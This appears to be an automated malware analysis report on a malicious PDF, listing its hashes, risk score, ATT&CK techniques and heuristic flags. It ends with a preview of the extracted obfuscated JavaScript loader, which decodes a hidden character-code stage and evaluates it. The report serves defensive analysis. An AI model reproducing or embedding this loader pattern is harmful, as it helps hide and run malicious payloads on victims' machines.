Malicious PDF — malware analysis report

Static analysis result for SHA-256 3d8baa8729c54a86…

MALICIOUS

PDF

44.7 KB First seen: 2013-08-03
MD5: c3314d9092b7084d68520dbce7169ce1 SHA-1: b8f3867a4113135015e4db8e50324ebcc3362045 SHA-256: 3d8baa8729c54a86cf5f3c329d7ab39eafe1b518503d78a946224d94235482dd
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The embedded JavaScript is likely intended to download and execute a second-stage payload. The ML classifier's strong positive prediction indicates a high likelihood of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFE1 474 bytes
SHA-256: ff3ea467da428b3fec1357e74f349bdb120e95ac04ea8ccac5914548c5367bb5
Preview script
First 1,000 lines of the extracted script
dsr='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
cpekm=e('ti'+'tle');
s=cpekm.substr(t.length + 8,3)+'str';
q=cpekm[s](1,(1,9));
xsuwb=e('S'+'tring.fro'+q);
q=cpekm[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	lsc = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	dsr += xsuwb(lsc);
}
e(dsr);

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